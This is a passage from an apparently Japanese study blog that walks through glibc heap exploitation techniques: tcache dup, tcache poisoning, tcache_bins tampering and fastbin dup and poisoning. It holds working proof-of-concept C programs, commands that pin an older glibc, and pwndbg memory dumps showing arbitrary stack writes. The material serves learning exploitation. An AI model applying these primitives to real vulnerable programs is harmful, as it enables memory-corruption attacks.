$ gdb -q ./attack_tcache_dup Reading symbols from ./attack_tcache_dup... pwndbg> start (1回目の free関数を実行する直前まで進める) pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555592b0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x20940 (with flag bits: 0x20941) pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Allocated chunk | PREV_INUSE Addr: 0x5555555592b0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x20940 (with flag bits: 0x20941) pwndbg> x/64hx 0x555555559010 0x555555559010: 0x0001 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559020: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559030: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559040: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559050: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559060: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559070: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559080: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 pwndbg> x/64gx 0x555555559090 0x555555559090: 0x00005555555592a0 0x0000000000000000 0x5555555590a0: 0x0000000000000000 0x0000000000000000 0x5555555590b0: 0x0000000000000000 0x0000000000000000 0x5555555590c0: 0x0000000000000000 0x0000000000000000 0x5555555590d0: 0x0000000000000000 0x0000000000000000 0x5555555590e0: 0x0000000000000000 0x0000000000000000 0x5555555590f0: 0x0000000000000000 0x0000000000000000 0x555555559100: 0x0000000000000000 0x0000000000000000 0x555555559110: 0x0000000000000000 0x0000000000000000 0x555555559120: 0x0000000000000000 0x0000000000000000 0x555555559130: 0x0000000000000000 0x0000000000000000 0x555555559140: 0x0000000000000000 0x0000000000000000 0x555555559150: 0x0000000000000000 0x0000000000000000 0x555555559160: 0x0000000000000000 0x0000000000000000 0x555555559170: 0x0000000000000000 0x0000000000000000 0x555555559180: 0x0000000000000000 0x0000000000000000 0x555555559190: 0x0000000000000000 0x0000000000000000 0x5555555591a0: 0x0000000000000000 0x0000000000000000 0x5555555591b0: 0x0000000000000000 0x0000000000000000 0x5555555591c0: 0x0000000000000000 0x0000000000000000 0x5555555591d0: 0x0000000000000000 0x0000000000000000 0x5555555591e0: 0x0000000000000000 0x0000000000000000 0x5555555591f0: 0x0000000000000000 0x0000000000000000 0x555555559200: 0x0000000000000000 0x0000000000000000 0x555555559210: 0x0000000000000000 0x0000000000000000 0x555555559220: 0x0000000000000000 0x0000000000000000 0x555555559230: 0x0000000000000000 0x0000000000000000 0x555555559240: 0x0000000000000000 0x0000000000000000 0x555555559250: 0x0000000000000000 0x0000000000000000 0x555555559260: 0x0000000000000000 0x0000000000000000 0x555555559270: 0x0000000000000000 0x0000000000000000 0x555555559280: 0x0000000000000000 0x0000000000000000 pwndbg> x/4gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000555555559 0x2530d451a00fe3c0
2回目の free関数の実行後の状態を見てみます。確かに、tcache に 2つのチャンクがあるように認識しています。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7f9 Allocated chunk | PREV_INUSE Addr: 0x5555555592b0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x20940 (with flag bits: 0x20941) pwndbg> tcachebins tcachebins 0x20 [ 2]: 0x5555555592a0 ◂— 0x5555555592a0 pwndbg> x/64hx 0x555555559010 0x555555559010: 0x0002 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559020: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559030: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559040: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559050: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559060: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559070: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x555555559080: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 pwndbg> x/64gx 0x555555559090 0x555555559090: 0x00005555555592a0 0x0000000000000000 0x5555555590a0: 0x0000000000000000 0x0000000000000000 0x5555555590b0: 0x0000000000000000 0x0000000000000000 0x5555555590c0: 0x0000000000000000 0x0000000000000000 0x5555555590d0: 0x0000000000000000 0x0000000000000000 0x5555555590e0: 0x0000000000000000 0x0000000000000000 0x5555555590f0: 0x0000000000000000 0x0000000000000000 0x555555559100: 0x0000000000000000 0x0000000000000000 0x555555559110: 0x0000000000000000 0x0000000000000000 0x555555559120: 0x0000000000000000 0x0000000000000000 0x555555559130: 0x0000000000000000 0x0000000000000000 0x555555559140: 0x0000000000000000 0x0000000000000000 0x555555559150: 0x0000000000000000 0x0000000000000000 0x555555559160: 0x0000000000000000 0x0000000000000000 0x555555559170: 0x0000000000000000 0x0000000000000000 0x555555559180: 0x0000000000000000 0x0000000000000000 0x555555559190: 0x0000000000000000 0x0000000000000000 0x5555555591a0: 0x0000000000000000 0x0000000000000000 0x5555555591b0: 0x0000000000000000 0x0000000000000000 0x5555555591c0: 0x0000000000000000 0x0000000000000000 0x5555555591d0: 0x0000000000000000 0x0000000000000000 0x5555555591e0: 0x0000000000000000 0x0000000000000000 0x5555555591f0: 0x0000000000000000 0x0000000000000000 0x555555559200: 0x0000000000000000 0x0000000000000000 0x555555559210: 0x0000000000000000 0x0000000000000000 0x555555559220: 0x0000000000000000 0x0000000000000000 0x555555559230: 0x0000000000000000 0x0000000000000000 0x555555559240: 0x0000000000000000 0x0000000000000000 0x555555559250: 0x0000000000000000 0x0000000000000000 0x555555559260: 0x0000000000000000 0x0000000000000000 0x555555559270: 0x0000000000000000 0x0000000000000000 0x555555559280: 0x0000000000000000 0x0000000000000000 pwndbg> x/4gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x000055500000c7f9 0x2530d451a00fe3c0
使用する glibc を、glibc-2.31 に変更してやってみます。
$ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_tcache_dup_patch $ ldd ./attack_tcache_dup_patch linux-vdso.so.1 (0x00007ffc4cd52000) libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f074261d000) /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f0742817000)
GDB を起動します。1回目の free関数の実行直後の状態で確認します。tcache に管理されていることは同じですが、fd(と書かれてるが、正しくは nextメンバ)が NULL になっていて、こちらが想定通りです。また、チャンクのヘッダの keyメンバも、tcache_perthread_struct構造体の counts配列の先頭アドレスが格納されています。やはり、glibc-2.31 で実行した方がよさそうです。
$ gdb -q ./attack_tcache_dup_patch Reading symbols from ./attack_tcache_dup_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> start (1回目の free関数を実行した直後まで進める) pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x290 (with flag bits: 0x291) Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a290 Size: 0x20 (with flag bits: 0x21) fd: 0x00 Allocated chunk | PREV_INUSE Addr: 0x55555555a2b0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x55555555a6c0 Size: 0x20940 (with flag bits: 0x20941) pwndbg> x/64hx 0x55555555a010 0x55555555a010: 0x0001 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a020: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a030: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a040: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a050: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a060: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a070: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a080: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 pwndbg> x/64gx 0x55555555a090 0x55555555a090: 0x000055555555a2a0 0x0000000000000000 0x55555555a0a0: 0x0000000000000000 0x0000000000000000 0x55555555a0b0: 0x0000000000000000 0x0000000000000000 0x55555555a0c0: 0x0000000000000000 0x0000000000000000 0x55555555a0d0: 0x0000000000000000 0x0000000000000000 0x55555555a0e0: 0x0000000000000000 0x0000000000000000 0x55555555a0f0: 0x0000000000000000 0x0000000000000000 0x55555555a100: 0x0000000000000000 0x0000000000000000 0x55555555a110: 0x0000000000000000 0x0000000000000000 0x55555555a120: 0x0000000000000000 0x0000000000000000 0x55555555a130: 0x0000000000000000 0x0000000000000000 0x55555555a140: 0x0000000000000000 0x0000000000000000 0x55555555a150: 0x0000000000000000 0x0000000000000000 0x55555555a160: 0x0000000000000000 0x0000000000000000 0x55555555a170: 0x0000000000000000 0x0000000000000000 0x55555555a180: 0x0000000000000000 0x0000000000000000 0x55555555a190: 0x0000000000000000 0x0000000000000000 0x55555555a1a0: 0x0000000000000000 0x0000000000000000 0x55555555a1b0: 0x0000000000000000 0x0000000000000000 0x55555555a1c0: 0x0000000000000000 0x0000000000000000 0x55555555a1d0: 0x0000000000000000 0x0000000000000000 0x55555555a1e0: 0x0000000000000000 0x0000000000000000 0x55555555a1f0: 0x0000000000000000 0x0000000000000000 0x55555555a200: 0x0000000000000000 0x0000000000000000 0x55555555a210: 0x0000000000000000 0x0000000000000000 0x55555555a220: 0x0000000000000000 0x0000000000000000 0x55555555a230: 0x0000000000000000 0x0000000000000000 0x55555555a240: 0x0000000000000000 0x0000000000000000 0x55555555a250: 0x0000000000000000 0x0000000000000000 0x55555555a260: 0x0000000000000000 0x0000000000000000 0x55555555a270: 0x0000000000000000 0x0000000000000000 0x55555555a280: 0x0000000000000000 0x0000000000000000 pwndbg> x/4gx 0x55555555a290 0x55555555a290: 0x0000000000000000 0x0000000000000021 0x55555555a2a0: 0x0000000000000000 0x000055555555a010
34.8.3:tcacheの汚染
ここでは、UAF で、free関数で解放済みのチャンクの tcache_entry の nextメンバを任意の領域のアドレスで書き換えることにより、次の malloc関数でその領域のメモリを確保できることが解説されています。
ソースコード(attack_tcache_poisoning.c)は以下です。
要求サイズが 0x18 の malloc関数の実行では、0x20(32)byte のチャンクになります。解放されると tcache で管理されることになり、tcache の管理リストの先頭に挿入されます。よって、先に mb から解放されているので、tcache_perthread_struct構造体の entries → ma → mb と繋がれることになります。その上で、ma の nextメンバをローカル変数(スタック)のアドレスに差し替えています。再度 malloc関数が実行されると、ma が先に使われ、その後の malloc関数の実行で、mb が使われるところですが、nextメンバを書き換えられているので、 victim には var のアドレスが取得されることになります。これにより、victim を書き換えると、var の内容を書き換えることになるわけです。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ unsigned long *ma, *mb, *victim; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); ma = malloc(0x18); mb = malloc(0x18); free(mb); free(ma); puts("Exploit!"); ((tcache_entry*)ma)->next = (void*)&var; // vuln malloc(0x18); victim = malloc(0x18); // alloc var from tcache *victim = 0xcafebabe; // overwrite printf("victim = %p\nvar = %#lx\n", victim, var); }
実行してみます。うまくいきません、glibc のバージョンが違うからかもしれません。
$ ./attack_tcache_poisoning &var : 0x7fffce6dda78 var = 0xdeadbeef Exploit! malloc(): unaligned tcache chunk detected 中止
glibc-2.31 でやってみます。今度は、うまくいきました。ローカル変数(スタック)の var が書き換えられています。
$ cp attack_tcache_poisoning attack_tcache_poisoning_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_tcache_poisoning_patch $ ./attack_tcache_poisoning_patch &var : 0x7ffe936b2a48 var = 0xdeadbeef Exploit! victim = 0x7ffe936b2a48 var = 0xcafebabe
34.8.4:mp_.tcache_binsの改竄
ここでは、tcache で管理するサイズの種類数を格納している tcache_bins を書き換えることが出来ると、64種類のサイズ(0x410 以下のサイズ)を超えるサイズのチャンクを tcache で管理できるように偽装することが出来ます。tcache を管理する tcache_perthread_struct構造体は、64個分の管理しかできないため、領域外アクセスになりますが、その領域をうまく制御して、任意の領域をメモリ確保させる攻撃方法について説明されています。
ソースコード(attack_tamper_tcache_bins.c)は以下です。
malloc関数のアドレスから libc のベースアドレスを求めて、malloc_par構造体の mp_ のポインタを取得し、0x50 のオフセットを足したアドレスを取得しています。malloc_par構造体の定義を見ると、(INTERNAL_SIZE_T は size_t のサイズと書かれてたので)size_t tcache_bins となっています。このプログラムで表示してますが、tcache_bins には 64 が格納されており(tcache は 64種類のサイズを管理しているという意味)、それをとても大きな値(0xc0bebeef)に書き換えています。これにより、tcache は、本来、0x410 以下のサイズまでが管理の対象ですが、大きなサイズのメモリ確保であっても、tcache から取得しようとしてしまいます。
その後、 0x438 の要求サイズで malloc関数を実行しており(チャンクとしては、0x440 のサイズ)、tcache_bins が書き換えられているため、tcache から取得しようとします。0x440 のサイズの場合、tcache_perthread_struct構造体の counts配列と entries配列の要素番号としては、66(0x42)となります(0x410 は要素番号が 63 であるため)。要素番号が 66 の tcache に空きチャンクがあるかを探しに行きますが、counts配列の 66番目の要素には、entries配列の 1番目の要素(entries[0])の内容が見えることになります。entries配列の 1番目の要素には、free(malloc(0x18)); を実行して解放されたチャンクへのポインタが格納されているはずです。よって、tcache にエントリがあると判断して、entries配列のの 66番目の要素を見に行きます。本来は、64個の要素分しかないので、tcache_perthread_struct構造体を超えたところを entries配列の要素だと思って見にいってしまいます。tcache_perthread_struct構造体は、ヒープ領域の先頭に 0x290 のサイズで確保されます。その後ろは、malloc(8); で確保された 32byte が続いています。66番目の要素は、この 32byte の 16byte をオフセットした位置、すなわち、malloc(8); で確保したユーザが読み書きする領域の先頭の 8byte ということになります。この 8byte には、ローカル変数の var のアドレスを格納しています。よって、ローカル変数の var を空きチャンクと認識してユーザに返すことになります。最後に、victim に 0xcafebabe を書いてますが、これがローカル変数の var に書き込まれるということです。
#include <stdio.h> #include <stdlib.h> static unsigned long ofs_libc_malloc = 0x09d260; static unsigned long ofs_libc_mp = 0x1eb280; int main(void){ unsigned long addr_libc_base; void *mp_; // malloc_per size_t *tcache_bins; addr_libc_base = (unsigned long)malloc - ofs_libc_malloc; mp_ = (void*)(addr_libc_base + ofs_libc_mp); tcache_bins = mp_ + 0x50; setbuf(stdout, NULL); printf("mp_ : %p (tcache_bins = %#lx)\n\n", mp_, *tcache_bins); unsigned long *m, *victim; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); m = malloc(8); *m = (unsigned long)&var; free(malloc(0x18)); puts("Exploit!"); *tcache_bins = 0xc0bebeef; // vuln victim = malloc(0x438); // alloc var from tcache *victim = 0xcafebabe; // overwrite printf("victim = %p\nvar = %#lx\n", victim, var); }
実行してみます。最初に、システムにインストールされた glibc-2.36 の場合ですが、セグメンテーションフォールトになりました。次に、glibc-2.31 で実行します。問題なく実行されました。
$ ./attack_tamper_tcache_bins Segmentation fault $ cp attack_tamper_tcache_bins attack_tamper_tcache_bins_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_tamper_tcache_bins_patch $ ./attack_tamper_tcache_bins_patch mp_ : 0x7f7621f8a280 (tcache_bins = 0x40) &var : 0x7ffe7cf12f48 var = 0xdeadbeef Exploit! victim = 0x7ffe7cf12f48 var = 0xcafebabe
GDB で確認していきます。
puts("Exploit!"); を実行する直前まで進めます。
ヒープ領域を見ると、2つのチャンクが確保されていて、1つは tcache に管理されている状態です。counts配列を見てみます。本来は、64個の要素ですが、tcache_bins を大きな値に書き換えられるので、とりあえず、8個多く表示してみました。要素番号 66 の位置は、0x5555(の後ろの方)になっています。66 の位置のサイズの 0x440 の tcache で管理しているエントリが 0x5555個あるように見えるということです。
また、entries配列も 8個多く表示しました。66 の位置なので、末尾の 8個のうち、3番目(0x55555555a2a0 の位置)の 0x00007fffffffdd88 が、tcache のエントリだと認識してることになります。これは、ローカル変数の var のアドレスです。確認したかった内容は見れました。
$ gdb -q ./attack_tamper_tcache_bins_patch Reading symbols from ./attack_tamper_tcache_bins_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> start (puts("Exploit!"); を実行する直前まで進める) pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x55555555a290 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x55555555a2b0 Size: 0x20 (with flag bits: 0x21) fd: 0x00 Top chunk | PREV_INUSE Addr: 0x55555555a2d0 Size: 0x20d30 (with flag bits: 0x20d31) pwndbg> tcachebins tcachebins 0x20 [ 1]: 0x55555555a2c0 ◂— 0 pwndbg> x/72hx 0x55555555a010 0x55555555a010: 0x0001 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a020: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a030: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a040: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a050: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a060: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a070: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a080: 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x55555555a090: 0xa2c0 0x5555 0x5555 0x0000 0x0000 0x0000 0x0000 0x0000 pwndbg> x/72gx 0x55555555a090 0x55555555a090: 0x000055555555a2c0 0x0000000000000000 0x55555555a0a0: 0x0000000000000000 0x0000000000000000 0x55555555a0b0: 0x0000000000000000 0x0000000000000000 0x55555555a0c0: 0x0000000000000000 0x0000000000000000 0x55555555a0d0: 0x0000000000000000 0x0000000000000000 0x55555555a0e0: 0x0000000000000000 0x0000000000000000 0x55555555a0f0: 0x0000000000000000 0x0000000000000000 0x55555555a100: 0x0000000000000000 0x0000000000000000 0x55555555a110: 0x0000000000000000 0x0000000000000000 0x55555555a120: 0x0000000000000000 0x0000000000000000 0x55555555a130: 0x0000000000000000 0x0000000000000000 0x55555555a140: 0x0000000000000000 0x0000000000000000 0x55555555a150: 0x0000000000000000 0x0000000000000000 0x55555555a160: 0x0000000000000000 0x0000000000000000 0x55555555a170: 0x0000000000000000 0x0000000000000000 0x55555555a180: 0x0000000000000000 0x0000000000000000 0x55555555a190: 0x0000000000000000 0x0000000000000000 0x55555555a1a0: 0x0000000000000000 0x0000000000000000 0x55555555a1b0: 0x0000000000000000 0x0000000000000000 0x55555555a1c0: 0x0000000000000000 0x0000000000000000 0x55555555a1d0: 0x0000000000000000 0x0000000000000000 0x55555555a1e0: 0x0000000000000000 0x0000000000000000 0x55555555a1f0: 0x0000000000000000 0x0000000000000000 0x55555555a200: 0x0000000000000000 0x0000000000000000 0x55555555a210: 0x0000000000000000 0x0000000000000000 0x55555555a220: 0x0000000000000000 0x0000000000000000 0x55555555a230: 0x0000000000000000 0x0000000000000000 0x55555555a240: 0x0000000000000000 0x0000000000000000 0x55555555a250: 0x0000000000000000 0x0000000000000000 0x55555555a260: 0x0000000000000000 0x0000000000000000 0x55555555a270: 0x0000000000000000 0x0000000000000000 0x55555555a280: 0x0000000000000000 0x0000000000000000 0x55555555a290: 0x0000000000000000 0x0000000000000021 0x55555555a2a0: 0x00007fffffffdd88 0x0000000000000000 0x55555555a2b0: 0x0000000000000000 0x0000000000000021 0x55555555a2c0: 0x0000000000000000 0x000055555555a010
34.8.5:fastbinチャンクの重複
ここでは、fastbin の double free(二重解放)のチェックがされない脆弱性について解説されています。
ソースコード(attack_fastbin_dup.c)は以下です。
コメントにあるように、A → B の順にメモリを確保し、A、B と同じサイズの tcache を全て埋めておきます(calloc関数では tcache は探索しない)。その後、A → B → A の順で解放していきます。fastbin も先頭にチャンクが追加されます。fastbin は、先頭のチャンクのみ、二重解放のチェックがされるそうで、A → B を解放した時点で、A は、2番目に繋がっているチャンクとなるので、二重解放のチェックがされないということになります。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ void *ma, *mb; setbuf(stdout, NULL); ma = malloc(0x18); // A mb = malloc(0x18); // B printf("ma = %p, mb = %p\n", ma, mb); // fill up tcache for(int i=0; i<7; i++) free(calloc(1, 0x18)); free(ma); free(mb); free(ma); // vuln printf("1st calloc : %p\n", calloc(1, 0x18)); printf("2nd calloc : %p\n", calloc(1, 0x18)); printf("3rd calloc : %p\n", calloc(1, 0x18)); }
実行してみます。今回は、glibc-2.36 でも想定した動作をしているようです。
$ ./attack_fastbin_dup ma = 0x5571f35d22a0, mb = 0x5571f35d22c0 1st calloc : 0x5571f35d22a0 2nd calloc : 0x5571f35d22c0 3rd calloc : 0x5571f35d22a0
GDB で内容を確認します。
まずは、1番目の free関数の実行の直前まで進めて、状態を確認します。想定通り、tcache が全て埋まった状態になっています。
次に、A と B の free関数を実行した直後まで進めて、状態を確認します。想定通り、A と B は、fastbin で管理されており、B が先頭で、A は 2番目に繋がっている状態です。
最後に、A の二重解放を実行した直後の状態を確認します。fastbin に A が 2つ登録されていることが確認できました。
$ gdb -q ./attack_fastbin_dup Reading symbols from ./attack_fastbin_dup... pwndbg> start (1番目の free関数の実行の直前まで進める) pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555592b0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592d0 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592f0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7b9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559310 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c659 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559330 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c679 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559350 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c619 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559370 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c639 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559390 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c6d9 Top chunk | PREV_INUSE Addr: 0x5555555593b0 Size: 0x20c50 (with flag bits: 0x20c51) (A と B の free関数を実行した直後まで進める) pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (fastbins) | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (fastbins) | PREV_INUSE Addr: 0x5555555592b0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7c9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592d0 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592f0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7b9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559310 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c659 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559330 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c679 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559350 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c619 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559370 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c639 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559390 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c6d9 Top chunk | PREV_INUSE Addr: 0x5555555593b0 Size: 0x20c50 (with flag bits: 0x20c51) pwndbg> fastbins fastbins 0x20: 0x5555555592b0 —▸ 0x555555559290 ◂— 0 pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (fastbins) | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7e9 Free chunk (fastbins) | PREV_INUSE Addr: 0x5555555592b0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7c9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592d0 Size: 0x20 (with flag bits: 0x21) fd: 0x555555559 Free chunk (tcachebins) | PREV_INUSE Addr: 0x5555555592f0 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c7b9 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559310 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c659 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559330 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c679 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559350 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c619 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559370 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c639 Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559390 Size: 0x20 (with flag bits: 0x21) fd: 0x55500000c6d9 Top chunk | PREV_INUSE Addr: 0x5555555593b0 Size: 0x20c50 (with flag bits: 0x20c51) pwndbg> fastbins fastbins 0x20: 0x555555559290 —▸ 0x5555555592b0 ◂— 0x555555559290
34.8.6:fastbinの汚染
ここでは、fastbin の fdポインタを書き換えて、任意の領域を calloc関数で確保させる内容が解説されています。
ソースコード(attack_fastbin_poisoning.c)は以下です。
malloc_chunk構造体のポインタと、実体をローカル変数に定義します。fastbin はサイズのチェックが行われるので、sizeメンバには正しい値を設定しておきます。
先ほどと同様に、tcache をいっぱいにしておきます。malloc関数と free関数で、fastbin にそのチャンクを管理させます。そのチャンクの fdメンバにローカル変数の malloc_chunk構造体のアドレスを設定します。
次の calloc関数では、普通に fastbin に繋がっているチャンクから確保されます。その次の calloc関数では、ローカル変数の malloc_chunk構造体のアドレス(+ 0x10)が返されます。これによって、ローカル変数の malloc_chunk構造体の値を書き換えることが出来ています。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "malloc_struct.h" int main(void){ void *m, *victim; malloc_chunk *c; malloc_chunk fc __attribute__((aligned(16))) = { .size = 0x21, .mem = "Hello" }; printf("&fc : %p\nfc.mem = %s\n\n", &fc, fc.mem); m = malloc(0x18); c = mem2chunk(m); for(int i=0; i<7; i++) free(calloc(1, 0x18)); free(m); // to fastbin puts("Exploit!"); c->fd = (void*)&fc; // vuln calloc(1, 0x18); // from fastbin victim = calloc(1, 0x18); // alloc fc from fastbin strcpy(victim, "Hacked!"); printf("victim = %p\nfc.mem = %s\n", victim, fc.mem); }
実行してみます。glibc-2.36 ではエラーになりました。glibc-2.31 で実行するとうまく動きました。
$ ./attack_fastbin_poisoning &fc : 0x7ffc304257d0 fc.mem = Hello Exploit! malloc(): unaligned fastbin chunk detected 2 中止 $ cp attack_fastbin_poisoning attack_fastbin_poisoning_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_fastbin_poisoning_patch $ ./attack_fastbin_poisoning_patch &fc : 0x7fff21548040 fc.mem = Hello Exploit! victim = 0x7fff21548050 fc.mem = Hacked!
GDB で確認していきます。
まず、fdメンバを書き換える直前まで進めます。想定通り、tcache がいっぱいになっており、fastbin には 1つのチャンクが管理されています。
